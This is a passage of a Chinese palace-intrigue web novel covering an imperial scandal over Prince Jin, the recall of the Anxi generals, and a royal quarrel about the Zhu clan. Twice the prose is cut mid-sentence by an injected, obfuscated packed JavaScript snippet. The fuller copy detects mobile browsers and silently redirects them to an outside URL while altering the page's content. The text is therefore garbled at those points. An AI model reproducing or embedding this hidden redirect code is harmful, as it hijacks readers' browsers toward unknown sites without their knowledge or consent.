霍太后和霍贵妃以及随皇帝同来的穆国公霍秦川都没有现身,皇帝与庄太妃前后脚到,不是庄太妃才得消息,是她起初没在意,得知晋王和魏王是为什么事才赶来。 “怎么回事?是不是有误会,怎么会闹出这种事情来?” “谁知道呢,我都觉得很新奇。”薛述聪搭腔,惹得他娘他媳妇和他妹妹都瞪他,皇帝嬴忱璧遂点名:“驸马,这么说你知道怎么回事?” “陛下,是乐邑把人捉住的。”薛述聪甩锅,乐邑长公主再瞪他眼,淡定道:“皇兄,我收到消息说驸马和他那个外室在鬼混,他那个外室不安于室想把个野种栽到他身上,他被迷得晕头转向还想把人接到府里来,我肯定得去拦着,我哪想到会看见晋王。” 晏霁之凑个热闹:“驸马爷的病治好了?” “所以说乐邑她做事不过脑子。”薛述聪无语:“我还在调养,我还要调养两三个月才能彻底康复,我远离女色都半年了,她至于都能犯这种糊涂吗?” “谁知道你在外面忍不忍得住,你养的那个小蹄子守不守得住?”乐邑不甘示弱。 “好了!”平原大长公主窝火地拍桌子,她儿子和儿媳妇各自闭嘴,晋王憋得都想拍桌:“我是被算计的,乐邑闯进来前我根本不知道我身边躺着的是谁。”他盯向魏王妃,冷笑:“四嫂,是你做的,你就老实认了,别非逼着我去查你。” “七弟,你这叫什么话呀?”魏王妃形容刚烈,毫不含糊地当众立誓:“天可明鉴,假若我与此事有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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薛述聪瞟瞟他们嫌造孽,晋王妃和她娘对视眼又转向庄太妃,晋王难以置信地盯着魏王又转向他的生母,庄太妃神情微微变了,晋王窝火地抄起茶盏就砸了。 “七弟,留点体面吧。”魏王定道:“你乖乖请纳侧妃的旨意,十日后,我让我的世子亲自送人到你府上,你记得办热闹些。” 庄太妃捏着佛珠捏得指尖泛白,晋王攥紧拳头忍着,转向皇帝,咬牙挤丝笑意:“皇兄,既然任逍姑娘的清白给我了,不进我王府是不合适,我就纳她做侧妃吧。” “好。”嬴忱璧道:“朕会派人知会圣人,明早旨意会降下。” 魏王和晋王维持着体面站起来施礼:“谢陛下。” 御前总管进殿来报:原小将军在皇极宫外等候陛下召见。嬴忱璧莫名手抖下,想,行吧就放过晏霁之吧,他下午再来见太后和贵妃,穆国公应该劝得差不多了。 “好,都跪安吧。” 众人告退,晋王潦草作个揖就大步往殿外走,庄太妃想叫住儿子都喊不住,晋王妃更是没好脸色地跟母亲回娘家,薛述聪淡定,这妹妹闹什么呀,晋王都被逼嫌恶的。 他还心情不错的跟晏霁之走一道提醒件事:“晏明潜那点家当,我刮干净了,他回京后一定会不择手段地跟英王卖惨想要回英王府,你可记得防住了。” 乐邑长公主瞧他们这吊儿郎当的德行,甩甩手绢,撇下他们往前走。 落在最后的两个男人悠哉哉地龟速前行,晏霁之问:“你就这样放过他了?” 薛述聪当然否定:“怎么可能?!”他打量他狐疑:“你有建议?” “我是觉得若能让裴氏给他送顶绿帽再让裴氏带着儿女们改嫁,不错。”晏霁之提议,薛述聪摸摸下巴:“你这主意,貌似有点意思。” “说起来,你那位外室养着又不用,你还养着做什么呀,我都想不通你养外室作甚,你看上就纳进府里,养在外面不是画蛇添足吗?”晏霁之闲侃侃。 “你以为尚公主容易呀。”薛述聪顺口就发发牢骚:“早几年,我纳个妾室乐邑就要闹,闹过两回,她变本加厉跑圣人面前扯一大堆破玩意儿哄得圣人答应了对我往死里限制。 我三十岁前纳妾不能超过五个,我四十岁前纳妾不能超过八个,我五十岁前,纳妾不能超过十个,我五十岁以后就不准纳妾了,我不养外室还能怎么办?” “谁叫你的榜样好,你大姐夫就俩小妾,你姨夫武襄侯没有庶出的儿女全是嫡出的。”晏霁之嘲笑,薛述聪郁闷:“我对这位姨夫真是服了,本朝又不是不让驸马纳妾,他至于这样装腔吗,真没觉得他对媳妇深情,反而让人觉得他虚伪。” 晏霁之不赞成:“虚伪不至于,要么武襄侯对女色不上心,要么他喜欢媳妇。” 薛述聪反嘲笑:“让你几十年对着一个女人,对着她到老死,你做得到?” 晏霁之没有犹豫:“流光若是还在,我做得到。” 薛述聪愣下,笑起来却不知是嘲笑谁:“小时候大家读书,就她们几个女孩,她最漂亮最活泼、脾气最好,跟谁都愿意玩,老六喜欢带着她玩,阿漾老爱捉弄她。 真把她惹急了也没事,她脾气好,生气最多生俩时辰就没事了。二十年前,魏王和晋王都想过将来要纳她做侧妃,老六和阿漾都想过长大后要娶她吧。” 晏霁之望向天际,若有怅然:“物是人非,成长的代价对我们都是惨烈二字吧。” 但若问失忆的原牧炽:你成长的代价惨烈吗?他估计能送上记拳头。 从太微宫和皇城各溜达圈回到在京中的护国公府后,因昨夜从表哥那儿得到了笔横财,原牧炽豪横地带弟弟妹妹们在城中买买买,买到晏霁之都被行知请去阻拦。 “让你的兵士们送你妹妹和堂弟堂妹们回家,我跟你谈谈。” “干什么?”原牧炽一脸不想跟他谈的样子。 “行知不好出面,请我来代他和你谈一谈。”晏霁之说。 “看在我表哥的份上,行吧。”原牧炽赖洋洋的,随即被晏霁之斥:“赶紧的!” “哼!” 把士兵和弟弟妹妹们都送走后,来到附近没什么路人的河堤,原牧炽斜睨他问何事,反被问花销多少,他告诫:“正事,你当小爷我闲得慌还陪你在这边唠嗑吗?” “就是这个事,你表哥看着你对钱财太没计较受不了了,他昨天再三劝你让你省着些,你答应了吧,你就是这么答应的吗,你非要一天就把一个月的银两用尽,然后剩下二十几天天天吃土吗?”晏霁之很好奇:“你是怎么活到今天的?” 原牧炽恶狠狠瞪他,没吭声,晏霁之再问:“你到底花了多少?” “大概五六千两吧。”原牧炽郁闷算算,晏霁之想他真是闲的都来管这种闲事了:“你进京,护国公有给你一千两银子,行知昨夜给了你一万两银票,以你这散财的本事,你回北境这路上的花销,你还真打算拿护国公夫人的银两吗?” “关你什么事?”原牧炽反呛,晏霁之叹气:“你比我小半岁,你就快满二十七岁了,你不是才十六七岁,你不能光长年纪是吧,你的俸禄和得的赏赐都是护国公给你拿着,然后你每个月拿月钱过活是吧,你想过护国公何苦这样管你吗?” 原牧炽心烦:“行行行,你跟我表哥说我会省着用,行了吧。” 晏霁之看他这小孩样真是都不想拿他当情敌:“你想过成家立业吗?” 原牧炽无语:“我有媳妇好吧。” 晏霁之更无语:“你这架势明显会让妻儿跟你一起吃土吧。” “你瞎说什么,”原牧炽责怪道:“我媳妇回来以后,我的俸禄和月银全给我媳妇拿着,我要用银两时再问我媳妇拿,我平时兜里没啥钱不就不会乱用了么。” “那这到底是你养家还是你想让女人来养家呀?”晏霁之都无奈了,原牧炽不以为然:“有什么区别,反正我的就是我媳妇的,我媳妇的就是我的。” “也就是说,你媳妇还没生养,她就得先养个儿子。”晏霁之扶额。 “你嘀咕什么呢?”原牧炽没听清楚但直觉就觉得不是好话,晏霁之摆摆手准备走了,结果刚迈出步就被霍海啸拦路,原牧炽飚脏话:“这表哥至于吗?” “什么你表哥,我来找晏霁之,你就是个顺带的。”霍海啸表明来意,惹得原牧炽更要飚脏话时被比他年长的两位同时喝住:“好了!” 原牧炽傲娇甩头。 霍海啸和晏霁之有志一同的忽略他,霍海啸道:“朱家有动静了,他们今夜要行动,我祖父已进宫请旨将安西守将调回京,祖父问我,这封旨意发出前该做什么?” 晏霁之没懂:“什么意思?” 霍海啸感喟:“应该请太上皇和皇帝先派人进驻西北秘密监察,一旦安西的将领有异动欲率军兵谏,即刻拿下,另派将领暂且接管安西大军。” 晏霁之和原牧炽对视眼,原牧炽正经道:“不至于吧?” “是呀,才安西的将领而已,朝廷还稳稳掌控着大局呢。”晏霁之附议。 “我也是这么跟祖父说的,祖父反问我,若是人家自觉已经大局在握了呢,他们认为北境和霍家都已是瓮中鳖,拿下不过是眨眼间的事,还需要忌惮吗?” 朝堂凶险,霍海啸近来真感自己稚嫩:“若是西北真出变故了呢?” 晏霁之莫名想倒抽口凉气:“老人家滴水不漏,我们还是太年轻了。” “我祖父有意保举庞老将军暂时接管西北。”霍海啸知会,晏霁之和原牧炽再互瞧瞧,原牧炽冷嗤:“老皇帝能愿意让我姑父去驻守安西?” 霍海啸说的庞老将军便是肃宗皇帝的庞贵妃的亲弟弟,滕王的舅公,英王晏墉的表叔,晏副相的表兄,也正是护国公的姐夫,大家族间的姻亲就是这么盘根错节。 “是暂管。”霍海啸强调:“老将军和两位至尊的死士一同进驻安西,若安西没有异动,庞老将军都不必现身;若是需要庞将军暂管,朝廷选出新的将领,他就能回剑门了。再者就算圣人允了也不会只派庞将军一人,至少还会再派名将领。” 原牧炽不爽地瞪瞪他,晏霁之问:“霍家对派往安西的大将有想法吗?” 霍海啸嗯道:“我祖父要让贵妃请老秦王出山。” “老秦王?”俩听众异口同声惊讶,晏霁之真服,这位保管是众人都没有想过的人选,但在这样的关头,老秦王还真是比他想过的任何一位都适合。 日渐西斜,同一时间的薛府大宅前,回娘家仅两个多时辰的晋王妃登上马车回晋王府,显国公哪能把这点事当回事儿,就让这任逍自己选:想活还是想死。 124. 第124章 选择难,大约难在于不愿意做选择。 显国公想让任逍彻底沦为晋王府反送给魏王的眼线,没有他埋在薛家的暗钉传回消息,魏王也有数,他更没所谓,同样让任逍自个儿选:要么将功折罪在晋王府做魏王府的眼线,要么她今后好坏死活,魏王府不再管。 阳光射过窗牗照在任逍惨白的脸上堪比照着张死人脸,她犹如没有生气的布偶人,任由魏王妃和颜侧妃在她耳边聒噪。她闹过,大闹过,她以为是魏王妃害她时,她满心暴怒没想再让魏王妃好过,得知竟是魏王害她时她也没想罢休。 可这表哥非要压得她想闹都闹不起来,魏王把她做的事揪出来了,只因她受制于庄太妃帮庄太妃做过点事,她的亲表哥就要对她下狠手,不啻于要把她的后半生毁了,难道魏王都不会想一想就算她帮庄太妃做事也绝不会危害魏王府吗? 她不能认这种污蔑,她闹呀,疯狂的闹,可魏王接下来给出的选择让她如坠冰窟,她不敢相信地看着这个表哥,她敢相信魏王不是当真的吗?她怎么敢,魏王眼皮都没眨一下就把她送给了晋王呀,这表哥若还有一丝心疼她又怎会这么狠? 魏王放下话就离开,魏王妃和颜侧妃装模作样地留着劝她,任逍看这两人的嘴脸想作呕都连轰走她们的力气都没有了,无不讽刺想,这下这俩人得意了吧。 任逍会感到天昏地暗太正常了,看客们谁能想到这位公认会成为魏王侧妃的魏王亲表妹任姑娘会这般收场,崇孝长公主因此事,早上来过趟,午后又再赶过来。 “两个时辰前我还在安抚馨儿让她宽心,表哥表姐一定会给她讨回公道,我真以为是你媳妇做的,没想到竟然是你做的?!”崇孝长公主比同母弟弟魏王年长七岁快三十七岁了,她是太上皇的嫡公主却比乐邑低调得多,面容瞧着也已不年轻了。 “馨儿是我们的亲表妹,她就算年轻不懂事行差踏错一步,你又何必把事情做这么绝,你不能把事告诉我,我们送她回任家吗?你这么做,你还能面对外祖家吗?” “我有何不能面对,难道一个任怀馨就能代表任家?”魏王坐在太师椅里,对着他大姐没有退让意:“什么年轻不懂事,她这是年轻不懂事行差踏错一步吗,她为一己私欲都能跟庄氏合作,她还有没有分寸,你看不懂她是冲着兵符来的吗?” “任家毕竟从侯爵之家被贬做平民百姓了,还不能抵消吗?” “抵消?”魏王仿佛听到个天大的笑话:“任家有何功绩能配谈抵消二字,是大哥拿命护下他身后的人,若非大哥慈悲,东宫旧系谁能有好下场,难不成你还想把大哥的牺牲看成是我和大哥亏欠了任家害得这外祖家被褫夺侯爵吗?” 崇孝长公主咬牙:“就算你看在母后的份上呢,不管怎么样你都不能——” “怎样?”魏王勃然打断:“你外祖家什么人家呀,只要姓一个任字,犯多大错都不用承担责任是吗?昨夜霍贵妃还在说,难道只因圣人恩宠朱家,我们就要顾及朱家所有人吗?你是想告诉我,你亲娘姓任,你就要连任家的阿猫阿狗都顾及吗?” 崇孝长公主握着拳狠狠镇定下,冷着脸问:“那么你到底找到兵符了没有?” 任逍经常要打探,这大姐也不遑多让,这都不知道是被问第几回了,魏王豁然明了他哥怎么会把兵符交给那么个出人意料保管所有人都猜不到的人,就是被烦透了! 魏王更没好脾气:“你这么想知道是你想拿来用一用吗?” “11年了!”崇孝长公主难道想过这种窝囊日子吗,她是太上皇的嫡长女呀,她母亲是圣人的原配皇后呀,可他们这些年都过成什么样了:“只剩一年了,到明年端午,这块兵符就没用了,河间军也一定会被皇帝夺走,这你都不懂吗?” “又如何?”魏王言辞间颇为强硬:“这本来就是大哥留给我们的护身符,是留给我们在困境时用于保命的护身符,不是让你去拿来争权夺利的。” 崇孝长公主注视弟弟小会儿后笑了:“就是你在姑苏那几年,性情变了,不,是你在姑苏养了那个外室以后,你越来越迂腐不化,亏得她识趣,早早死了。” 魏王沉着脸盯着这大姐,崇孝长公主毫不相让:“若不然,我一定赐她条白绫。” “所以,你把我当什么?”魏王靠在椅背里,不怒而威:“你当我是你的同母弟弟尊重我是个有自我思想的人还是只是成全你成为皇帝同母姐姐的提线木偶?” 崇孝被惊恐地看着她的弟弟,恰逢屋外传来禀告:歆郡王和老郡王妃来了。 便是太上皇的嫡长子、正徽帝的长兄、魏王和崇孝的同母兄长悼太子的遗孤。 不用猜,必也是为任逍的事而来。 太上皇在申时抵达皇城,甫一进宫门就撞见丞相候着。 班丞相走近两步悄声低语:老穆国公请旨调安西的将领回京,老穆国公还担心这批将领不愿意交权,欲请两位至尊秘密派人入西北监察,两位副相都已在皇极宫了。 太上皇闻言,刚压下的浮躁又蹿起来,朱家有动作,他当然也收到消息了。 不是不能理解霍擎的顾虑,但叫他怎么接受他会亲手养出个反贼来?! 来到皇极宫,太上皇落座就问:“你们都同意将安西守将调回来?” “圣人,眼下,老臣以为,宁可信其有、不可信其无。”房副相第一个表态。 什么叫宁可信其有,就是含沙射影指他养出了个反贼来是吧?若没有朱家的动作在前,太上皇必要动怒了,偏偏朱家有动作,还真想运个男人送进长春宫去啊?! 私心里,太上皇当然也不能容忍更是在今日、从他放纵朱家以来第一回真正审视朱家、审视他对朱家的荣宠,但不管他心底如何想,又或者大概就是凡事都要有个循序渐进,他不可能在刚审视昌隆侯时就接受他养出了个反贼来,何况是被被迫的。 太上皇沉下脸不语,殿内逐渐僵持,正徽帝嬴忱璧心里也不平静,他没有想过事态能发展得如此迅猛,更没有想过朝廷要调安西的将领回京时这批将领还有可能会抗旨不遵,但老国公的顾虑确实有理,皇帝他意识到他真该反思和虚心受教了。 “父皇,三皇兄回京了。” 太上皇浑然如没过耳,明日就是原定颁旨的日子,蜀王还没抵京才是出奇了。 “有人在皇帝面前诋毁昌隆侯,前日,穆国公猜测此人是蜀王,国丈,你认为穆国公的猜测准吗?蜀王近年来会有可能特意避着寡人在暗中谋划攻击朱家吗?” 人家谋划不是理所当然的吗?霍擎心里对呛,面上装深沉唏嘘:“女婿啊,旧事重提,岳父我这两天在想,会不会,二十四年前彭山的形势,我们根本就看错了?” “国丈这话是何意?” “姬沛是何许人物,朱存焳能逼迫得了他吗,哪怕朱存焳背后有朱太后又如何,女婿,你扪心自问,姬沛当年有没有本事收拾朱存焳再让你母亲薨逝让你驾崩?”旧事重现,霍擎就越想越可疑,一叶障目,是他当年太想当然太小看姬沛的死了。 然如此狂言非但没令太上皇动怒反而令他瞳孔微震,皇帝嬴忱璧出言:“老国公——”就被霍擎打断:“陛下,你年轻,没有见识过姬沛生前的风采,您就不必质疑了。” 嬴忱璧小心思想这老国公故意的吧,刚来皇极宫时怎么就装个没事人。 晏副相若有所思,班丞相看向房副相,房副相摇头,他对这位姬国舅也不熟悉。 “不必蜀王做什么,蜀王根本不必多事,朱存焳就是姬沛留下的恨,对你的恨,姬氏一族近乎阖族被灭,你没有资格怨他恨你,你更该看见姬沛对你的希冀和善意。” 霍擎站起来走到太上皇女婿面前握住他的手,满是悲怆:“女婿啊,睁开眼睛看看吧,不管是姬沛还是悼太子,纵然他们怨你恨你,但还是把最大的善意留给你了。 你想想你父亲乃至是庞贵妃,三十三年前你父皇驾崩时庞贵妃何以敢断然赴死,是真的愿意相信你啊,你的肩上担起过那么多的信赖和希冀呀,上天厚待,你睁开眼睛看看吧,想想你父皇想想你的祖宗们,他们都在天上盼着你好啊。” 太上皇闭目盖住眼底的苦涩,霍擎沉重地拍拍女婿的手,退回到自己的位置上。 “圣人,原小将军进京这趟有多少双眼睛盯着,此例一开,今后还能没有效仿者吗?”晏副相打破沉寂,太上皇瞬间睁眸注视他,晏副相从容不迫颔首:“圣人,朝廷今年要海禁、要整治贪腐,陛下还想要肃清冗官,那么朝廷要不要整治北疆的走私? 不治,北境走私必会数倍猖獗于当前,纵使万分之一,老臣也不得不忧,会否令北境战事生变?若是治,朝廷不下狠心可能不生动荡不留遗祸吗?” 晏副相这话算是点到点子上了,至少对皇帝而言,是,嬴忱璧眼底寒芒若现,他还真是没有想过海禁之后北疆的走私有可能会愈发猖獗以弥补这群人在海禁下的损失?! “父皇,前日您曾提起皇祖父生前想保每个儿孙安稳,昨日,老国公告诉朕,朕人生中得到的第一份父爱便是孩儿出生后您将孩儿交给温献皇后——当时的晏贵妃养育,孩儿铭感五内,您就再由着孩儿一回,让孩儿给安西换将吧。” 皇帝说得是真漂亮,太上皇的后宫有多少皇嗣惨死,朱家女残害了多少没出生和刚出生还在襁褓中的皇嗣,可你呢,你爹要保每个儿孙安稳,你却如此不顾皇嗣的死活,你对得起你的孩儿吗?你有何面目对你父皇,当然,也是给了太上皇台阶顺势就能下。 太上皇闭眼允道:“换吧,把驻守安西的这批将领全部调回来。” 嬴忱璧谢过父皇,随即让丞相拟旨,霍擎拦道:“陛下,只要您和圣人允了,是现下就拟旨还是今夜拟旨抑或是明早拟旨又有什么关系,只是,倘若安西这批将领真敢抗旨不遵,在朝廷选出新任驻守安西的大将前该派谁暂且接掌西北?” 嬴忱璧反问:“老国公已经有人选了?” 霍擎应:“老臣想保荐镇守剑门关的庞老将军。” 三位相爷眼神闪闪,太上皇没什么反应,嬴忱璧问:“霍骏豪进京了吗?” 霍擎有点意外皇帝想派霍家人呀:“今日天黑前应该能抵达京畿。” 嬴忱璧遂向太上皇提议:“父皇,让尚勉和霍骏豪与庞老将军一起走趟西北吧。” 太上皇沉吟片刻后嗯了声,嬴忱璧立时传旨意:“丞相,即刻安排让尚勉半个时辰后就离京,切记叮嘱他不要引起任何注意,拦住霍骏豪让他不必进京了与尚勉一同直奔西北,给庞老将军送信,让他们在酒泉会合,务必要控制住西北的局势。” “是,陛下。”班丞相颔首道:“请圣人、陛下放心。” “再派人留意这批安西将领的家眷。”嬴忱璧补充道:“倘若发现有人在暗中想从京畿转移走这批安西将领的家眷,不必阻拦,不必追踪,让他们走吧。” 班丞相眼神微闪,看太上皇仍然没反应,颔首应是。 “好了,都退下吧。”若有倦意的太上皇赶走臣子,也让皇帝离开,嬴忱璧不识趣问:“那晚宴前父皇还见母后吗,朱家有动作了,孩儿恐怕母后不好安抚。” 何止不好安抚,自己媳妇什么脾性,太上皇还能不清楚吗? 托皇帝儿子提醒的福,太上皇只能略过小憩,和皇帝去趟长春宫。 霍太后收到消息在长春宫前相迎,但没有霍贵妃的身影,皇帝嬴忱璧多瞟两眼,太上皇是压根儿没注意,下轿辇就往长春宫里走,嬴忱璧只好想贵妃还在闹脾气吧。 长春宫的正大殿内,举国最尊贵的一家三口落座,宫人备过茶水糕点,霍太后将宫人们尽数遣退,怒意显著地站起来,说:“圣人,朱家又想运个男人送进宫来了。” 太上皇和颜安抚:“寡人知道,寡人明日定会训斥——” “训斥?”霍太后被不可思议地飚高音:“圣人您是在和臣妾讲笑话吗,三十年前朱家想害晏姐姐时您是什么态度,臣妾在您心里就那么没分量吗?” 可人家是冲着你侄女来的不是冲着你,太上皇仍然好声好气:“阿鸾,当前朝中多事,这件事就压下去吧不要闹出来了,寡人必定让昌隆侯好好向贵妃赔罪。” 霍太后没有接茬,而是跳话题讥笑:“圣人,这届秀女名单中有令愔夫人的庶妹,您定然已经知晓了吧,您瞧令愔夫人这宠妃做的,居然那么不了解皇帝,咱儿子这点太随你了,对姐妹花根本没兴趣,她陪伴皇帝多少年了竟然连这都不懂。 不过话说回来,庄太妃当年还有朱家和鞠太妃等人也是真不了解您,就想当然认为男人好美色喜鲜嫩,岂不知圣人您对姐妹花没兴趣,对嫔妃的娘家侄女更是反感。 嫔妃能否得宠只在于她自己,与是否有人来给她固宠根本无关,枉众人都以为庄太妃最懂您的心思,她却是连这点事都没看明白,真对您上心,何至于啊。” 可能是这母爱来得太突然了,嬴忱璧不假思索想太后怎么知道他对姐妹花没兴趣,真是随爹吗?他还瞄向老爹,被太上皇没好气地反瞪后,皇帝他默默转头。 太上皇无奈:“阿鸾!” “好,以前的不说了,就说今天,您还不知道吧,皇帝今早又和贵妃吵翻了。郭氏有意和忠毅伯府联合,贵妃由此推测,大皇子若在魏王府出事,郭氏一定会想联合忠毅伯府害死霍贵妃。”霍太后讽刺:“你知道我们这儿子是怎么回复贵妃的吗?” 太上皇看向皇帝,嬴忱璧再扭扭头,太上皇问:“皇帝说什么?” “你儿子说,后位、储位,朕都会给霍家,饶是朕如此厚待霍皇后和霍家,霍皇后都容不下朕生母的娘家人吗?”霍太后恭维,太上皇:“……” 太上皇第一个感觉就是要糟,太上皇的预感当然是没问题的,皇帝这么神助攻,霍太后逮着他们父子俩还能不炮轰么:“你们可真是父子俩,真会和稀泥啊。 瞧皇帝自小到大平日里都是闷不吭声的,我把儿子养这么大,我竟是才发现,这儿子可真是像你啊,尤其对生母娘家人的态度,简直一个模子里刻出来的。” 嬴忱璧特别想走人,父母吵架,他作甚要来掺和呢,太上皇是特别想踹皇帝儿子一脚,这会儿又知道装闷葫芦了,不知道出面来顶顶他母后的怒气吗? 指望不上皇帝儿子的太上皇只能自己扛:“阿鸾——” “还有更厉害的,你知道你儿子藏的话是什么吗?晏霁之把话逼出来,真是让我开眼界了,皇帝藏的话居然是,若霍皇后将来赐死芮家人,既然人死都死了,那就这样吧。” 霍太后真是被气笑了:“皇帝觉得,他在霍家和芮家之间是想要留霍家,他自信他会对霍家好,所以当霍家和芮家起冲突时能偏袒芮家就偏袒些也好以示公正。 你看你儿子厉不厉害,我们这儿子真是有出息了,人家晏霁之评价他,真不是想挖个坑把自己埋了吗?你看你儿子是不是想挖个坑把自己埋了?!” 浑如寻常百姓家父母吵架以及母亲训孩儿的气息,嬴忱璧第一次感受到这般家庭氛围,当然是喜欢的,前提是没有让他出糗!!还是孩童时就在意脸面了,这会儿哪受得住在父母面前丢脸,嬴忱璧脸皮薄起来差点就尴尬到脸红了,差点就坐不住。 什么想挖坑把自己埋了,晏霁之个混账,这种话是能往外传的吗? 皇帝在心里狠狠给晏霁之记笔小黑状,太上皇倒是想这比喻还是蛮形象的,啊呀,都是些什么呀,太上皇问:“那这事儿,皇帝怎么处置的?” “七月初一,废后,或者让郭氏自己选,想废后还是把大皇子出继。” 霍太后话落,太上皇又想踹皇帝儿子了,给他爹挖这么大坑,他把安抚价码飚这么高,到他爹这儿还能降得下来吗?他能帮他爹把他母后安抚住吗? “阿鸾你说的不错,咱这儿子是有出息了,还知道装闷葫芦看爹娘起争执。” 嬴忱璧:“……”他就不该陪老爹过来,是吧,是吧是吧? “那么,对于朱家做的混账事,母后想如何处置?”被点名的皇帝只好开个腔。 太上皇顿时想把皇帝踹出去,一句话把他的转圜全白费了,还不如装他的闷葫芦。 霍太后开价:“拿虢王世子妃和小朱太妃两条命来,这件事就算了。” 嬴忱璧微惊了惊,他想过霍家的愤怒但真没想过霍家要闹到见血,看向他父皇,太上皇出人意料的平静,是太上皇自己都没想到的平静:“阿鸾,你糊涂了。” “糊涂?”霍太后笑了,一缕自嘲一缕凄凉道尽深宫怨:“我没糊涂,是你觉得我就该糊里糊涂地活着,不止我,纵使你最爱晏姐姐,你也认为她该糊里糊涂地活。 你对庄氏和朱家女才是真的好啊,你想过没有,晏姐姐前两胎生下的孩子虽然也都是病歪歪的但终归都活过周岁了,怎么第三胎生的孩子反而只活四天就夭折了,庄氏装着多大的野心啊,朱家对晏姐姐又有多恨,她们会让晏姐姐一直挡着她们吗?” 太上皇霍然站起喝止:“宝鸾!” 嬴忱璧随同站起,霍太后好笑:“你是不敢想还是连我怀疑她们,你都不敢听?” “晏姐姐可是耗尽心血而亡!”霍太后红着眼圈,泣血质问:“你能相信得了自己,这当中会没有庄氏和朱家女的手笔吗?甚至于她们才是主谋,与你母亲反而没有多大关系,明枪易躲暗箭难防啊,你若是都没有怀疑过她们,你怎么防?” 太上皇缓缓握拳,嬴忱璧思虑道:“父皇,孩儿有一疑,且不论朱家女做过些什么,就说庄太妃当年会愿意您有十几二十多个皇子吗?” 一语惊醒梦中人,霍太后瞬间冷笑,丝毫不怀疑朱家女怕是不知替庄氏担了多少笔债。太上皇看向皇帝,嬴忱璧直言不讳:“授康十年之前,她或许没有过动作,授康十年之后,她居一品淑妃高位还能不配争储吗,她会愿意有那么多对手吗?” 不愿意!毋庸置疑。 且,皇帝的怀疑还很巧妙的只适合庄太妃而不适用于霍家。 太上皇忽就想起庄妃陪伴他快三十七年了,他是何时怀疑起庄妃的呢,是授康十七年,还是授康十六年冬?其实不重要,重要的是他竟被她的伪装欺瞒了二十年。 “用小朱太妃一条命还不够吗?哪怕用她们堂姐妹两条命呢。”太上皇敛尽情绪谈判:“何必非得去动虢王世子妃,动了她,还能收场吗?” “我们的八公主殁了,你和鞠太妃的十皇子没了,按皇帝的密报,你不觉得荒谬吗?” 霍太后只诉委屈痛恨:“当时庄氏避在小佛堂,一副心如死灰的模样,她是心如死灰还是在蛰伏?你留下她也是清楚她必定不会认吧,你还要用她,可我们的女儿,你的皇嗣,命就这么轻吗,他们的命就那么贵,我们就活该饱尝骨肉惨死之痛?” 太上皇铁青着脸不语,嬴忱璧走到父亲身边,动容道:“父皇,孩儿明白您不想去怀疑昌隆侯,可朱家已经做下多少违法乱纪伤天害理的事,就连皇宫中的朱氏女都因自己不能生就残害父皇您的皇嗣,父皇,朱家人当真对得住您的厚爱吗? 您曾对孩儿言:朱家只是贪财,将来您驾崩后朱家绝不会再放肆,父皇还在世,父皇的外祖家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459316|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想敛财就让他们敛财吧。但孩儿今日想问父皇,欲壑难填,朱家还能收得了手吗?您又有多少年没有约束过朱家了,朱家还能忍受被约束吗? 朱家若能忍受在朕手中被约束,何以不能遵纪守法,何至于不践踏尽您的厚爱不罢休,受尽皇恩受尽您荣宠的昌隆侯府朱家对父皇您难道不是在恩将仇报吗?” “皇帝?!”就像是脸皮被扒了下来,太上皇恼羞成怒,皇帝嬴忱璧感怀:“孩儿知道,皇祖母、温献皇后、四妹、大哥、您的舅父、哪怕是废齐王——您的同母亲弟都不在了,高处不胜寒,您嫌凄凉,您觉得孤寂了,想找个让您觉得温暖的寄托。” 太上皇怔住,忽然间有些手足无措,就像是猝不及防被击中软肋,然天下至尊又怎么能软弱、还软弱到要找寄托?太上皇涌起恼恨,可看着皇帝儿子,他又泄了气。 “皇儿啊,不是父皇要包庇外祖家,父皇更不是不能舍掉一个要造反的外祖家,但,没有证据啊,你能拿得出证据来吗?全凭猜测,你让父皇怎么相信?” 嬴忱璧接:“可父皇难道没有怀疑过吗,以朱存焳执掌朱家后的狂悖,他的嫡母和嫡长兄还会不是他害死的吗?寻常人是年轻时就表现出来了,朱存焳能装,很可能他就是装到了嫡母年老、装到了父母和嫡兄都以为他没有二心而已。” 太上皇微愣,眼底思绪浮动,把皇帝这话听进去了。 嬴忱璧再添把火:“父皇,姬氏一族近乎阖族被灭,朱家朱存焳这一脉还能留得住吗,给朱家拨乱反正对您和三皇兄乃至对朱家又何尝不是一件好事?” 太上皇抬眸,幽幽看着这皇帝儿子,嬴忱璧很坦然:“不管是给十弟、八妹,还是给众多没有齿序的兄弟姐妹,又或者是给惨死的姬氏族人,朱存焳这两个女儿的命都该给了,趁着霍家有这个由头,就给了吧。况且,不管臣下们怎么斗,总得有底线。 偷运个男人送进宫来都做得出,他们还有点敬畏之心吗?若不从重处置,今后若是谁都想效仿还能得了吗?必须敲打朱家了,就用这对姐妹杀鸡儆猴。” 没有思量太久,太上皇允道:“好,按皇帝的意思办吧。” 霍太后走到殿中行个大礼谢恩,嬴忱璧延伸道:“父皇,禁军中昌隆侯的爪牙拔了吧,神策军中应该也藏着不少昌隆侯的爪牙,全都拔了吧。” 太上皇没有犹豫地答应了,再让妻儿退下。 嬴忱璧颔首告退,与太后一同离去。来到大殿外,皇帝他还在想怎么和养母缓和才能既不失体面又亲和,结果霍太后理都没理皇帝儿子就走了,嬴忱璧:“……” 好吧,他还是去找贵妃吧,嬴忱璧调好心态,来到霍贵妃暂住的偏殿,推门而入,看见贵妃在窗边熬药,他忙疾步上前关怀:“贵妃病了?” “你就不能盼人点好吗?”霍灵渠没好声:“我是要喝药想让我的声音毛糙些好修饰,你不是今夜要给六哥哥接风洗尘吗,我怎么跟他见面? 我不得假托我起红疹了把脸包起来再变变音调才好现身吗,我就不跟你出席了,开宴后你再找个理由喊我过去,不然我就自己过去了,出去,不要在这里妨碍我。” 